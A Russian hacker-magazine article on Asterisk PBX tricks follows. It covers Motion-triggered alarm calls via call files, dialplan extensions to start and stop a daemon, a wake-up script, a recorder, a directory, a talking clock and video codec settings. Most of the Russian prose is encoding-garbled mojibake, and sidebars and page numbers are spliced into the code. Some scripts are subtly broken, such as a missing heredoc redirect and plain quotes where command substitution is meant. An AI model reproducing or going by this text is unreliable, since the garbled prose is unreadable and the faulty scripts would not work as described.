âîñòðåáîâàííûõ âîçìîæíîñòåé Asterisk — ýòî çàïóñê ïðîãðàìì è ñêðèïòîâ<br />

èç ýêñòåíøåíà (ïðè íàáîðå îïðåäåëåííîãî íîìåðà) èëè âûçîâ àáîíåíòà<br />

èç äðóãîãî (âíåøíåãî) ïðèëîæåíèÿ. Äëÿ óäîáñòâà àäìèíà ðåàëèçîâàíî<br />

íåñêîëüêî ïóòåé, ïîçâîëÿþùèõ èíèöèèðîâàòü èñõîäÿùèé çâîíîê<br />

íà ëåòó:<br />

1. Call-ôàéë — îáû÷íûé òåêñòîâûé ôàéë, èìåþùèé îïðåäåëåííóþ ñòðóêòóðó.<br />

2. API — ïîäêëþ÷èâøèñü ê ïîðòó óïðàâëåíèÿ (ïî óìîë÷àíèþ 5038) ïðè<br />

ïîìîùè telnet, ìîæíî çàäàòü âñå íåîáõîäèìûå êîìàíäû.<br />

3. CLI (command line interface) êîìàíäà — óïðàâëåíèå ñåðâåðîì â êîíñîëè<br />

(âûçûâàåòñÿ ïðè ïîìîùè «asterisk -r»).<br />

4. Èñïîëüçîâàíèå íàñòðîåê ïåðåàäðåñàöèè íà äðóãîé íîìåð — FollowMe.<br />

Íàèáîëåå óäîáåí â ðàáîòå âàðèàíò ñ èñïîëüçîâàíèåì ôàéëà ñ ðàñøèðåíèåì<br />

.call. Äîñòàòî÷íî òàêîìó ôàéëó ïîÿâèòüñÿ â êàòàëîãå /var/spool/<br />

asterisk/outgoing (íàñòðàèâàåòñÿ â asterisk.conf ïðè ïîìîùè astspooldir),<br />

êàê ñåðâåð âûïîëíèò çàäàííûå â íåì êîìàíäû. Call-ôàéë ìîæíî ñãåíåðèðîâàòü<br />

íàëåòó è çàòåì ïðîñòî ñêîïèðîâàòü â äàííûé êàòàëîã. Asterisk<br />

ïðîâåðÿåò âðåìÿ ñîçäàíèÿ ôàéëà; åñëè îíî «â áóäóùåì», òî êîìàíäà âûïîëíèòñÿ,<br />

êîãäà ñèñòåìíîå âðåìÿ è âðåìÿ ìîäèôèêàöèè ñîâïàäóò. Ýòî<br />

òàêæå ìîæíî èñïîëüçîâàòü äëÿ îòëîæåííîãî çàïóñêà êîìàíä â Call-ôàéëå.<br />

Åäèíñòâåííîå óñëîâèå — àêòèâàöèÿ ïàðàìåòðà «autoload=yes» (òàê<br />

ñäåëàíî ïî óìîë÷àíèþ) â modules.conf.  ôàéëå èñïîëüçóþòñÿ èíñòðóêöèè<br />

èç extensions.conf, íî ó íåãî íåñêîëüêî äðóãàÿ ñòðóêòóðà è êîëè÷åñòâî<br />

âîçìîæíûõ êîìàíä â íåì îãðàíè÷åíî. ×òîáû áûëî ïîíÿòíåå, î ÷åì ðå÷ü,<br />

ðàññìîòðèì ñîâìåñòíóþ ðàáîòó Asterisk è ñèñòåìû âèäåîíàáëþäåíèÿ<br />

Motion (www.lavrsen.dk/twiki/bin/view/Motion/WebHome), ñïîñîáíîé<br />

âûïîëíÿòü çàäàííóþ ïðîãðàììó èëè ñêðèïò ïðè îáíàðóæåíèè äâèæåíèÿ.<br />

Òàêîé òàíäåì ìîæåò ïîíàäîáèòüñÿ äëÿ êîíòðîëÿ íàä íåêîòîðûì îáúåêòîì,<br />

ñêàæåì, ñåðâåðîì. Ðîëü Asterisk çäåñü — ãëàâíàÿ: ñ åãî ïîìîùüþ ïðè<br />

âîçíèêíîâåíèè ñîáûòèÿ ìû áóäåì çâîíèòü àäìèíó íà SIP-òåëåôîí (ìîæíî<br />

íà ãîðîäñêîé èëè ñîòîâûé). Ïîëíîñòüþ óñòàíîâêó Motion è íàñòðîéêè<br />

â /etc/motion/motion.conf ðàññìàòðèâàòü íå áóäåì, çà ïîäðîáíîñòÿìè<br />

îáðàùàéñÿ ê ñòàòüå «Ñóìåðå÷íûé äîçîð», îïóáëèêîâàííîé â ìàðòîâñêîì<br />

íîìåðå z çà 2008 ãîä. Îñòàíîâèìñÿ òîëüêî íà ñàìûõ âàæíûõ ìîìåíòàõ:<br />

$ sudo nano /etc/motion/motion.conf<br />

# Âêëþ÷àåì âñòðîåííûé âåá-ñåðâåð, ðàçðåøàåì ê íåìó óäàëåííûé<br />

äîñòóï<br />

webcam_port 8000<br />

webcam_motion on<br />

webcam_localhost off<br />

webcam_quality 30<br />

webcam_maxrate 6<br />

control_authentication username:password<br />

# Ïðè îáíàðóæåíèè äâèæåíèÿ çàïóñêàåì ñêðèïò, êîòîðûé áóäåò<br />

ïîäíèìàòü òðåâîãó, âìåñòî äèðåêòèâû on_motion_detected<br />

ìîæíî èñïîëüçîâàòü on_event_start<br />

on_motion_detected /usr/bin/webcam_event.sh<br />

Ñìîòðèì îòëàäî÷íóþ èíôîðìàöèþ, çàïóñòèâ Motion ñ ôëàãîì '–n':<br />

$ motion –n<br />

Thread is from /etc/motion/motion.conf<br />

Åñëè âñå â ïîðÿäêå, ñòàðòóåì ïðîãðàììó â îáû÷íîì ðåæèìå è ïåðåõîäèì<br />

ê íàïèñàíèþ ñêðèïòà webcam_event.sh:<br />

$ sudo nano /usr/bin/webcam_event.sh<br />

#!/bin/sh<br />

cat /tmp/alarm.call<br />

# Óñòàíàâëèâàåì ïàðàìåòðû êàíàëà è CallerID<br />

XÀÊÅÐ 04 /124/ 09<br />

115


SYN/ACK<br />

Channel: SIP/admin<br />

Callerid: 11111111<br />

# Êîëè÷åñòâî ïîâòîðíûõ ïîïûòîê âûçîâà â ñëó÷àå íåóäà÷è,<br />

íå âêëþ÷àÿ ïåðâóþ (ò.å. â íàøåì ñëó÷àå ïðè âîçíèêíîâåíèè<br />

ïðîáëåì áóäåò ñäåëàíî 3 ïîïûòêè âûçîâà àáîíåíòà)<br />

MaxRetries: 2<br />

# Âðåìÿ äî ïîâòîðíîé ïîïûòêè íàáîðà (ïî óìîë÷àíèþ 300 ñåê)<br />

RetryTime: 30<br />

# Âðåìÿ îæèäàíèÿ îòâåòà (ïî óìîë÷àíèþ 45 ñåê)<br />

WaitTime: 30<br />

# Êîíòåêñò èç extensions.conf è ïðèîðèòåò âûçîâà<br />

Context: alarm<br />

Extension: s<br />

Priority: 1<br />

EOF<br />

# Çàäàåì íóæíûå ïðàâà äëÿ ñîçäàííîãî ôàéëà è ïåðåíîñèì åãî<br />

â íóæíóþ ïàïêó<br />

chown asterisk:asterisk /tmp/alarm.call<br />

mv /tmp/alarm.call /var/spool/asterisk/outgoing/<br />

Âîò ïðàêòè÷åñêè è âñå ïàðàìåòðû, âîçìîæíûå â Call-ôàéëå. Îïöèîíàëüíî<br />

äëÿ óñòàíîâêè âðåìåíè ìîæíî èñïîëüçîâàòü timestamp:<br />

Set: timestamp=20091023104500<br />

Òåïåðü äîáàâëÿåì îïèñàíèå â extension.conf:<br />

$ sudo nano /etc/asterisk/extension.conf<br />

[alarm]<br />

116<br />

exten => s,1,Answer()<br />

exten => s,n,Wait(2)<br />

exten => s,n,Playback(activated)<br />

exten => s,n,Wait(1)<br />

exten => s,n,Hangup()<br />

Ïîñëå âíåñåíèÿ èçìåíåíèé íå çàáûâàåì ïåðå÷èòàòü ïëàí íàáîðà êîìàíäîé<br />

«dialplan reload». Òåïåðü, îáíàðóæèâ äâèæåíèå, Motion çàïóñòèò<br />

âûïîëíÿòüñÿ ñêðèïò webcam_event.sh, êîòîðûé ñîçäàñò /tmp/alarm.call<br />

è ñêîïèðóåò åãî â /var/spool/asterisk/outgoing. Ïîñëå ÷åãî Call-ôàéë áóäåò<br />

îáðàáîòàí Asterisk, è íà íîìåð admin, îïèñàííûé â sip.conf, ïîñòóïèò<br />

çâîíîê ñ CallerID «11111111». Íåìíîãî äîïèëèâ ýòîò ñêðèïò, ìîæíî çàñòàâèòü<br />

Asterisk âûïîëíÿòü è äðóãèå îïåðàöèè, íàïðèìåð, îòïðàâëÿòü e-mail<br />

èëè SMS. Êàê òû ïîíèìàåøü, âìåñòî Motion ïîäîéäåò ëþáàÿ äðóãàÿ ïðîãðàììà,<br />

óìåþùàÿ ñîçäàâàòü èëè êîïèðîâàòü ôàéëû ïðè âîçíèêíîâåíèè<br />

îïðåäåëåííîãî ñîáûòèÿ.<br />

УСЛОЖНЯЯ КОНФИГУРАЦИЮ, УПРОЩАЕМ УПРАВЛЕНИЕ Ðàññìîòðèì<br />

åùå îäíó âîçìîæíîñòü âûïîëíåíèÿ êîìàíä â Asterisk, à çàîäíî<br />

— íåìíîãî äîïîëíèì íàøó ñõåìó. Íàïðèìåð, â ðàáî÷åå âðåìÿ â èñïîëüçîâàíèè<br />

Motion îñîáîãî ñìûñëà íåò, ïîýòîìó åãî ìîæíî ñìåëî îòêëþ÷àòü.<br />

Ýòî ìîæíî ñäåëàòü èç êîíñîëè èëè ïðè ïîìîùè ïëàíèðîâùèêà cron, íî<br />

óäîáíåå äëÿ âêëþ÷åíèÿ/îòêëþ÷åíèÿ ïðîñòî ïîçâîíèòü ïî îïðåäåëåííîìó<br />

íîìåðó. Ñîçäàäèì íåáîëüøîé ñêðèïò, ïðè ïîìîùè êîòîðîãî áóäåì<br />

óïðàâëÿòü äåìîíîì Motion:<br />

$ sudo nano /usr/bin/motion.sh<br />

#!/bin/sh<br />

case $1 in<br />

XÀÊÅÐ 04 /124/ 09


SYN/ACK<br />

Редактируем extensions.conf<br />

start)<br />

/usr/bin/motion<br />

;;<br />

stop)<br />

PID='pidof motion'<br />

kill $PID<br />

killall webcam_event.sh<br />

rm -f /var/spool/asterisk/outgoing/<br />

alarm.call<br />

;;<br />

esac<br />

 extension.conf çàíîñèì îïèñàíèÿ íîìåðîâ, êîòîðûå áóäóò èñïîëüçîâàíû<br />

äëÿ çàïóñêà ñêðèïòà ñ ðàçíûìè ïàðàìåòðàìè:<br />

$ sudo nano /etc/asterisk/extension.conf<br />

exten => *001,1,Answer()<br />

exten => *001,n,Playback(activated)<br />

exten => *001,n,System(/usr/bin/motion.sh<br />

start)<br />

exten => *001,n,Hangup()<br />

exten => *002,1,Answer()<br />

exten => *002,n,System(/usr/bin/motion.sh<br />

stop)<br />

exten => *002,n,Playback(de-activated)<br />

exten => *002,n,Hangup()<br />

Òåïåðü, ÷òîáû çàïóñòèòü Motion, äîñòàòî÷íî íàáðàòü íîìåð<br />

*001, à ÷òîáû îñòàíîâèòü — *002.<br />

БУДИЛЬНИК НА ASTERISK Ðåàëèçîâàòü áóäèëüíèê â *nix<br />

ìîæíî äàëåêî íå åäèíñòâåííûì ñïîñîáîì (ñàìûé ïðîñòîé,<br />

íàâåðíîå: «sleep 20m && mpg123 ~/bell.mp3»), íî õî÷åòñÿ<br />

÷åãî-òî êðàñèâîãî è íåñòàíäàðòíîãî. Ïîèñê â èíòåðíåòå ïî<br />

çàïðîñó «asterisk wakeup» âûäàñò íåñêîëüêî ðåøåíèé, íàïèñàííûõ<br />

ñ èñïîëüçîâàíèåì ðàçíûõ ÿçûêîâ ïðîãðàììèðîâàíèÿ<br />

è íåìíîãî îòëè÷àþùèõñÿ êàê ïðîöåññîì óñòàíîâêè, òàê<br />

è âîçìîæíîñòÿìè. Ñàìîå ïîïóëÿðíîå èç íèõ — PHP-ñêðèïò<br />

wakeup.php, àâòîðîì êîòîðîãî ñòàë Àíäè Âûñîöêè (www.<br />

voip-info.org/liberty/view/file/2388). Ñêà÷èâàåì ïî ññûëêå<br />

tar-àðõèâ, ðàñïàêîâûâàåì php-ôàéë â êàòàëîã ñ AGI-ñêðèïòàìè<br />

(Asterisk Gateway Interface — øëþçîâîé èíòåðôåéñ, ïîñðåäñòâîì<br />

êîòîðîãî âíåøíèå ïðîãðàììû ìîãóò óïðàâëÿòü<br />

äèàëïëàíîì Asterisk) è äåëàåì åãî èñïîëíÿåìûì: «chmod<br />

a+x /var/lib/asterisk/agi-bin/wakeup.php» (íóæíûé êàòàëîã<br />

ìîæíî óçíàòü, ïðîñìîòðåâ çíà÷åíèå ïåðåìåííîé astagidir â<br />

êîíôèãå asterisk.conf).<br />

Ñêðèïò wakeup.php ñîäåðæèò ðÿä ïåðåìåííûõ, êîòîðûå íåîáõîäèìî<br />

ïîäïðàâèòü ñ ó÷åòîì íàñòðîåê ñèñòåìû:<br />

XÀÊÅÐ 04 /124/ 09<br />

Видеокодеки, устанавливаемые в Asterisk<br />

; Ðàñïîëîæåíèå èíòåðïðåòàòîðà PHP â ðàçíûõ *nixñèñòåìàõ<br />

ìîæåò îòëè÷àòüñÿ<br />

#!/usr/bin/php -q<br />

; Æóðíàë èç /tmp ëó÷øå óáðàòü<br />

$parm_error_log = '/var/log/asterisk/wakeup.log';<br />

; Ïî óìîë÷àíèþ ñêðèïò ñîçäàåò âðåìåííûå ôàéëû â /<br />

tmp, íî åñëè ýòîò êàòàëîã íàõîäèòñÿ íà îòäåëüíîì<br />

ðàçäåëå, òî wakeup.php îòêàæåòñÿ ðàáîòàòü, ïîýòîìó:<br />

$parm_temp_dir = '/var/spool/asterisk/tmp';<br />

Ïðèíöèï çàïóñêà ñêðèïòà àíàëîãè÷åí ïðèìåðó ñ Motion<br />

— ïðîñòî çàíîñèì â extensions.conf èíôîðìàöèþ î íîâîì<br />

íîìåðå:<br />

exten => *97,1,Answer()<br />

exten => *97,n,AGI(wakeup.php)<br />

exten => *97,n,Hangup()<br />

Òåïåðü äîñòàòî÷íî ïîçâîíèòü íà íîìåð *97 è ïî çàïðîñó ââåñòè<br />

âðåìÿ, êîãäà ñèñòåìà äîëæíà ïðîèçâåñòè îáðàòíûé çâîíîê.<br />

Íàïðèìåð, ÷òîáû çàâåñòè áóäèëüíèê íà 17:55 (ñåãîäíÿ<br />

ôèíàë êóáêà àíãëèéñêîé ëèãè :)), íàáèðàåì «0555», à çàòåì<br />

«2» (1 — äî ïîëóäíÿ, 2 — ïîñëå ïîëóäíÿ).<br />

Åñëè ïðè çàïóñêå ñêðèïòà âîçíèêëè ïðîáëåìû, äîóñòàíîâè<br />

ïàêåòû php5-cli è asterisk-sound-extra è èñïîëüçóé óòèëèòó<br />

fromdos, ÷òîáû ïðèâåñòè wakeup.php ê Unix-ñòàíäàðòàì.<br />

ВИРТУАЛЬНЫЙ ДИКТОФОН Äèñòðèáóòèâíûé êîìïëåêò<br />

Asterisk è ïàêåò äîïîëíåíèé asterisk-sounds ñîäåðæàò îêîëî<br />

1000 ãîëîñîâûõ ñîîáùåíèé íà àíãëèéñêîì ÿçûêå (ãîëîñ ïðèíàäëåæèò<br />

äàìî÷êå ïî èìåíè Allison Smith).  êà÷åñòâå àëüòåðíàòèâû<br />

ìîæíî çàïèñàòü ìåññàäæè íà ðóññêîì/óêðàèíñêîì/ñóàõèëè<br />

ñàìîñòîÿòåëüíî, íî äëÿ ýòîãî íåîáÿçàòåëüíî<br />

ïðèáåãàòü ê àóäèîðåäàêòîðó òèïà Audacity. Íèæåñëåäóþùåå<br />

äîïîëíåíèå â äèàëïëàí îáåñïå÷èò âîçìîæíîñòü çâîíèòü íà<br />

íîìåð *98 è çàïèñûâàòü ñîîáùåíèÿ â ïàïêó /tmp ïîä èìåíàìè<br />

myrecordÍÎÌÅÐ.wav. Ïîñëå çàâåðøåíèÿ çàïèñè (îñóùåñòâëÿåòñÿ<br />

íàæàòèåì #) çâóêîâîé ôàéë áóäåò âîñïðîèçâåäåí,<br />

è ñîåäèíåíèå ðàçîðâåòñÿ. Ïðèìå÷àíèå: ÷òîáû óðîâåíü<br />

ãðîìêîñòè áûë ïîñòîÿííûì, à «áåëûé» øóì, ñîçäàâàåìûé<br />

ñèñòåìàìè îòîïëåíèÿ/îõëàæäåíèÿ/êîíäèöèîíèðîâàíèÿ,<br />

ñâåäåí ê ìèíèìóìó, äëÿ çàïèñè ëó÷øå âîñïîëüçîâàòüñÿ àïïàðàòíûì<br />

VoIP-òåëåôîíîì.<br />

exten => *98,1,Answer()<br />

exten => *98,n,Wait(2)<br />

info<br />

Существует патч<br />

от разработчика с<br />

ником IVeS (смотри<br />

на нашем диске файл<br />

videocodec_nego_fix_<br />

ast-1.4.13.patch.gz), в<br />

котором проблема согласования<br />

кодеков<br />

устранена, но сама<br />

заплатка до сих пор<br />

не принята Digium.<br />

video<br />

В видеоролике мы<br />

разберем некоторые<br />

трюки с Asterisk:<br />

говорящие часы,<br />

будильник, виртуальный<br />

диктофон и телефонный<br />

справочник.<br />

117


ХАКЕР.PRO<br />

SYN/ACK<br />

Список доступных аудио- и видеокодеков<br />

Сегодня доступно две ветки Asterisk: 1.4 и 1.6<br />

Проверяем настройки Motion<br />

exten => *98,n,Record(/tmp/myrecord%d:wav)<br />

exten => *98,n,Wait(1)<br />

exten => *98,n,Playback(${RECORDED_FILE})<br />

exten => *98,n,Wait(1)<br />

exten => *98,n,Hangup()<br />

äèàëïëàíà, â êîòîðîì âûçûâàåòñÿ àáîíåíò:<br />

exten => *99,1,Directory(default,internal)<br />

Ñîçäàåì ïî÷òîâûé ÿùèê â ôàéëå voicemail.conf:<br />

Íå çàáóäü ñêîïèðîâàòü/ïåðåíåñòè ïîëó÷åííûé ôàéë èç âðåìåííîé äèðåêòîðèè<br />

â ïàïêó äëÿ çâóêîâûõ ôàéëîâ Asterisk è íàäåëèòü åãî êàêèìíèáóäü<br />

îñìûñëåííûì èìåíåì, âðîäå privetstvie.wav. Êñòàòè, ãîëîñîâûå<br />

ñîîáùåíèÿ ëó÷øå íå êîíâåðòèðîâàòü â gsm/mp3/ogg, ÷òîáû íà ïðîö íå<br />

ëåãëà äîïîëíèòåëüíàÿ íàãðóçêà ïî ïðåîáðàçîâàíèþ.<br />

ТЕЛЕФОННЫЙ СПРАВОЧНИК Åñëè â êîìïàíèè èñïîëüçóåòñÿ áîëåå<br />

òðåõ äîáàâî÷íûõ íîìåðîâ, áåç òåëåôîííîãî ñïðàâî÷íèêà íå îáîéòèñü.<br />

Ñîòðóäíèêè íà÷èíàþò ïóòàòü öèôðû, çàáûâàòü íîìåðà, íåðâíè÷àòü è<br />

äåð ãàòü ïî ïóñòÿêàì àäìèíà. Áóìàæíûå âàðèàíòû ñïðàâî÷íèêà è ýêñåëåâñêèå<br />

òàáëè÷êè îñòàâèì â ïðîøëîì. Ïðèëîæåíèå Directory(), èñïîëüçóÿ<br />

èìåíà, çàäàííûå â îïèñàíèÿõ ãîëîñîâûõ ïî÷òîâûõ ÿùèêîâ, ïðåäîñòàâëÿåò<br />

òåëåôîííûé ñïðàâî÷íèê àáîíåíòîâ îôèñíîé ÀÒÑ äëÿ íàáîðà<br />

íîìåðîâ ïî èìåíè.  êà÷åñòâå àðãóìåíòîâ äèðåêòèâû íóæíî ïîäñòàâèòü<br />

êîíòåêñò ãîëîñîâîé ïî÷òû, èç êîòîðîãî ñ÷èòûâàþòñÿ èìåíà, è êîíòåêñò<br />

118<br />

[default]<br />

401 => 1234,Andrey Matveev,andrushock@real.xakep.ru<br />

Íà êëàâèàòóðå ñîôòîôîíà íàáèðàåì *99, çàòåì ïåðâûå òðè áóêâû ôàìèëèè<br />

ïîëüçîâàòåëÿ, íîìåð êîòîðîãî ìû õîòèì óçíàòü (â äàííîì ñëó÷àå —<br />

«mat»). Allison Smith íà÷íåò ïî áóêâàì «çà÷èòûâàòü» èç voicemail.conf èìÿ<br />

è ôàìèëèþ íàéäåííîãî àáîíåíòà: «a-n-d-r-e-y m-a-t-v-e-e-v». Ïîäòâåðæäàåì<br />

ïðàâèëüíîñòü âûáîðà íàæàòèåì «1». Âèðòóàëüíûé îïåðàòîð ïðîãîâîðèò<br />

äîáàâî÷íûé íîìåð 401 (åñëè â äèàëïëàíå èñïîëüçóåòñÿ êîíñòðóêöèÿ<br />

âèäà «exten => _XXX,1,SayDigits(${EXTEN})») è ïðîèçâåäåò ñîåäèíåíèå.<br />

Î÷åíü óäîáíî!<br />

КОТОРЫЙ ЧАС? Îêàçûâàåòñÿ, ñëóæáà òî÷íîãî âðåìåíè — íåâåðîÿòíî<br />

ïîïóëÿðíûé ñåðâèñ: ñóäÿ ïî ìàòåðèàëó èç Âèêèïåäèè, åæåäíåâíî ïî<br />

íîìåðó 100 çâîíÿò îêîëî ìèëëèîíà ìîñêâè÷åé. Ìîæåò áûòü, ïîéäåì íà-<br />

XÀÊÅÐ 04 /124/ 09


SYN/ACK ХАКЕР.PRO<br />

âñòðå÷ó ÌÃÒÑ (èëè òâîåé ãîðîäñêîé òåëåôîííîé ñòàíöèè)<br />

è ÷óòî÷êó ðàçãðóçèì èõ îáîðóäîâàíèå çà ñ÷åò ñîçäàíèÿ ñâîèõ<br />

«ãîâîðÿùèõ ÷àñîâ»?  ýòîì íàì ïîìîæåò ïðèëîæåíèå<br />

SayUnixTime(), ïðîãîâàðèâàþùåå óêàçàííîå âðåìÿ â îïðåäåëåííîì<br />

ôîðìàòå:<br />

exten => *100,1,Answer()<br />

exten => *100,n,SayUnixTime(,,QdhAR)<br />

exten => *100,n,WaitMusicOnHold(10)<br />

exten => *100,n,Goto(*100,1)<br />

Íàáèðàåì *100, Allison Smith ïðèâåòëèâî ñîîáùàåò î òîì,<br />

÷òî ñåé÷àñ 1 ìàðòà, âîñêðåñåíüå, 14 ÷àñîâ è 50 ìèíóò. Çàòåì<br />

âîñïðîèçâîäèòñÿ 10-ñåêóíäíàÿ ìóçûêàëüíàÿ ïàóçà (ïóòü<br />

ê ïàïêå ñ ìóçîíîì çàäàåòñÿ ïàðàìåòðîì directory â ôàéëå<br />

musiconhold.conf), è âûçîâ íîìåðà ïîâòîðÿåòñÿ (íà òîò ñëó-<br />

÷àé, åñëè ìû ÷òî-òî íå ðàññëûøàëè).<br />

БУДУЩЕЕ ТЕЛЕФОНИИ ЗА ВИДЕОЗВОНКАМИ<br />

Èçíà÷àëüíî âîïðîñ î ïîääåðæêå âèäåîñâÿçè ïåðåä ðàçðàáîò-<br />

÷èêàìè íå ñòàâèëñÿ, îäíàêî ñåãîäíÿ íåîáõîäèìîñòü â òàêîé<br />

ôóíêöèîíàëüíîñòè î÷åâèäíà. Êðîìå òîãî, âû÷èñëèòåëüíûå VoIP-софтофон Ekiga умеет работать с видео<br />

ìîùíîñòè ìíîãîêðàòíî âîçðîñëè, òðàôèê ïîäåøåâåë, à ïðîïóñêíàÿ<br />

ñïîñîáíîñòü êàíàëîâ ïîçâîëÿåò ãîíÿòü âèäåîïîòîê õîðîøåãî<br />

êà÷åñòâà. Òàê èëè èíà÷å, íî ïîääåðæêà âèäåî â Asterisk allow=h264<br />

allow=ilbc<br />

1.4 íàõîäèòñÿ â çà÷àòî÷íîì ñîñòîÿíèè (ïëîõîå ñîãëàñîâàíèå allow=h261<br />

êîäåêîâ, íå ðàñïîçíàþòñÿ ðàñøèðåííûå àòðèáóòû äëÿ âèäåîïîòîêîâ,<br />

íå ïîääåðæèâàþòñÿ ïîïóëÿðíûå âèäåîôîðìàòû, íåò<br />

âîçìîæíîñòè ïåðåêîäèðîâêè è ò.ä.). ×àñòü ïåðå÷èñëåííîãî,<br />

âåðîÿòíî, òàê íèêîãäà è íå ïîÿâèòñÿ â Asterisk, â òîì ÷èñëå, èççà<br />

âîçìîæíûõ ïðîáëåì ñ ëèöåíçèðîâàíèåì. Íàïðèìåð, ðàçðàáîò÷èêè<br />

íå ìîãóò èñïîëüçîâàòü áèáëèîòåêó ffmpeg, õîòÿ ñåãîäíÿ<br />

óæå äîñòóïíî ïðèëîæåíèå app_transcoder (sip.fontventa.<br />

com/content/view/30/57), ðàáîòàþùåå ñ ffmpeg è èìåþùåå<br />

îãðàíè÷åííûå ôóíêöèè, ñâÿçàííûå ñ ïåðåêîäèðîâàíèåì. Â<br />

íîâîé âåðñèè 1.6 ïëàíèðîâàëèñü íåêîòîðûå ïîäâèæêè â ýòîì<br />

íàïðàâëåíèè, â ÷àñòíîñòè, ïîëíàÿ ïåðåñòðîéêà ïîääåðæêè âèäåî<br />

â êàíàëàõ (òàê íàçûâàþòñÿ ñîåäèíåíèÿ â Asterisk), íî ïîêà tos_video=af41<br />

äàëüøå èäåé äåëî íå ïîøëî.<br />

Èç âñåãî ìíîæåñòâà êàíàëîâ ïåðåäà÷à âèäåî ðåàëèçîâàíà<br />

òîëüêî â äâóõ — SIP è IAX2. Íåêîòîðûå ïîïóëÿðíûå ðåàëèçàöèè<br />

(chan_h323, chan_oh323, chan_ooh323) ñòàðîãî äîáðîãî<br />

H.323 íå îáåñïå÷èâàþò òàêîé âîçìîæíîñòè, õîòÿ â ñàìîì tos=0x18<br />

ñòàíäàðòå H.323 ýòî ïðåäóñìîòðåíî. Òàê, ÷òîáû ðàçðåøèòü<br />

ñîâåðøàòü âûçîâû ñ ïîääåðæêîé âèäåî, äîñòàòî÷íî äîáàâèòü<br />

â ôàéë sip.conf ïàðàìåòð:<br />

[general]<br />

videosupport=yes<br />

 IAX ýòà âîçìîæíîñòü çàëîæåíà èçíà÷àëüíî, ïîýòîìó ïàðàìåòð<br />

videosupport â ôàéëå iax.conf íå ïîääåðæèâàåòñÿ.<br />

Ñïèñîê âèäåîêîäåêîâ, óìåþùèõ ðàáîòàòü ñ âèäåî, íåâåëèê:<br />

H.261 (òîëüêî òðàíçèò), H.263, H.263p è H.264 (ïîñëåäíèå<br />

äâà ñ Asterisk âåðñèè 1.4). Íî òàê êàê Asterisk 1.4 èìååò ïðîáëåìû<br />

ñ ñîãëàñîâàíèåì êîäåêîâ, àêòèâèðîâàòü èõ âñå îäíîâðåìåííî<br />

íå ñëåäóåò. Ëó÷øå ïîäîáðàòü íàèáîëåå îïòèìàëüíûé<br />

äëÿ êîíêðåòíîé ñèòóàöèè, îòêëþ÷èâ îñòàëüíûå ïðè ïîìîùè<br />

«disallow=all». Íî íå çàáûâàé, ÷òî âûáðàííûé êîäåê äîëæåí<br />

ïîääåðæèâàòüñÿ è êëèåíòîì.<br />

disallow=all<br />

allow=alaw<br />

allow=gsm<br />

allow=speex<br />

Ïî óìîë÷àíèþ ìàêñèìàëüíûé áèòðåéò äëÿ âèäåî óñòàíîâëåí<br />

â 384 Êá/ñ, — åãî ìîæíî èçìåíèòü ïðè ïîìîùè äèðåêòèâû<br />

maxcallbitrate.<br />

Íåëüçÿ íå îòìåòèòü, ÷òî Asterisk óìååò çàäàâàòü áèòû TOS<br />

(Type of Service) â çàãîëîâêå IP-ïàêåòà, ÷òîáû óñêîðèòü ïåðåäà÷ó<br />

ïîòîêà äàííûõ ÷åðåç ìàðøðóòèçàòîðû, êîòîðûå ó÷èòûâàþò<br />

áèòû TOS ïðè îïðåäåëåíèè ìàðøðóòîâ. Â sip.conf äèðåêòèâû<br />

tos_sip, tos_audio è tos_video óïðàâëÿþò TOS-áèòàìè<br />

äëÿ SIP-ñîîáùåíèé, àóäèî- è âèäåîäàííûõ ñîîòâåòñòâåííî.<br />

 iax.conf âñå ïîëÿ TOS óñòàíàâëèâàþòñÿ ïðè ïîìîùè îäíîãî<br />

ïàðàìåòðà:<br />

 íàñòîÿùåå âðåìÿ ïåðåäà÷ó âèäåî ïîääåðæèâàåò îãðîìíîå êîëè÷åñòâî<br />

ñîôò-êëèåíòîâ: Ekiga, Bria, X-lite, Linphone, Milliphone,<br />

WengoPhone, Windows Messenger è íåêîòîðûå äðóãèå.<br />

ВМЕСТО ЗАКЛЮЧЕНИЯ<br />

×òî åùå ìîæíî ñäåëàòü ñ ïîìîùüþ Asterisk? Íàïðèìåð,<br />

ðàñøèðèòü ôóíêöèè óñòàðåâøåé êîììóòèðóåìîé ÀÒÑ, ñîçäàòü<br />

èíòåðàêòèâíûé àâòîîòâåò÷èê (ýòî ìîæåò áûòü ïðîãíîç ïîãîäû<br />

äëÿ ëþáîé òî÷êè çåìíîãî øàðà, îáó÷àþùàÿ ïðîãðàììà èëè<br />

àóäèîèãðà — îòâåòû ìîæíî ââîäèòü ïîñðåäñòâîì íîìåðîíàáèðàòåëÿ<br />

òåëåôîíà), îðãàíèçîâàòü àóäèîêîíôåðåíö-çàëû, ÷èòàòü<br />

ýëåêòðîííóþ ïî÷òó âñëóõ, êîãäà òû, íàïðèìåð, â äîðîãå èëè ïðèíèìàåøü<br />

âàííó (ñâÿçêà Asterisk + Festival), óïðàâëÿòü ñèñòåìîé<br />

ñèãíàëèçàöèè, êîíòðîëèðîâàòü íÿíþ è äåòåé (äîïóñòèì, ìàòü è<br />

îòåö, ñèäÿ íà ðàáîòå, ïîäêëþ÷àþòñÿ VPN-êëèåíòîì ê äîìàøíåìó<br />

ñåðâåðó, çâîíÿò â êîíòåêñò äîáàâî÷íîãî íîìåðà, çàùèùåííîãî<br />

ïàðîëåì, ïîñëå óñïåøíîé àóòåíòèôèêàöèè óñòàíàâëèâàåòñÿ<br />

àóäèîñâÿçü ñî âñåìè IP-òåëåôîíàìè â êâàðòèðå — ýòî ïîçâîëèò<br />

ðîäèòåëÿì ñëûøàòü, ÷òî ïðîèñõîäèò â êàæäîé êîìíàòå, — ñâîåîáðàçíûå<br />

VoIP-æó÷êè). Ïðîÿâè òâîð÷åñêèå ñïîñîáíîñòè, çàìóòè<br />

÷òî-íèáóäü ýêñòðàîðäèíàðíîå è íàïèøè íàì :). z<br />

links<br />

• Все возможности<br />

по инициированию<br />

исходящего звонка<br />

в Asterisk ты найдешь<br />

в документе «Asterisk<br />

auto-dial out» —<br />

www.voip-info.org/<br />

wiki-Asterisk+autodial+out.<br />

• Описание всех<br />

известных проблем,<br />

связанных с передачей<br />

видео, можно<br />

найти в списке рассылки<br />

Asterisk-Video<br />

(lists.digium.com/<br />

pipermail/asteriskvideo).<br />

XÀÊÅÐ 04 /124/ 09<br />

119


units<br />

АЛЕКСАНДР ЛОЗОВСКИЙ<br />

/ LOZOVSKY@GAMELAND.RU /<br />

PSYCHO:<br />

ДЕНЬ ЗАВИСИМОСТИ (2009, VHSRIP)<br />

ПОЛНЫЙ ][-ГАЙД ПО ОСНОВНЫМ АДДИКЦИЯМ<br />

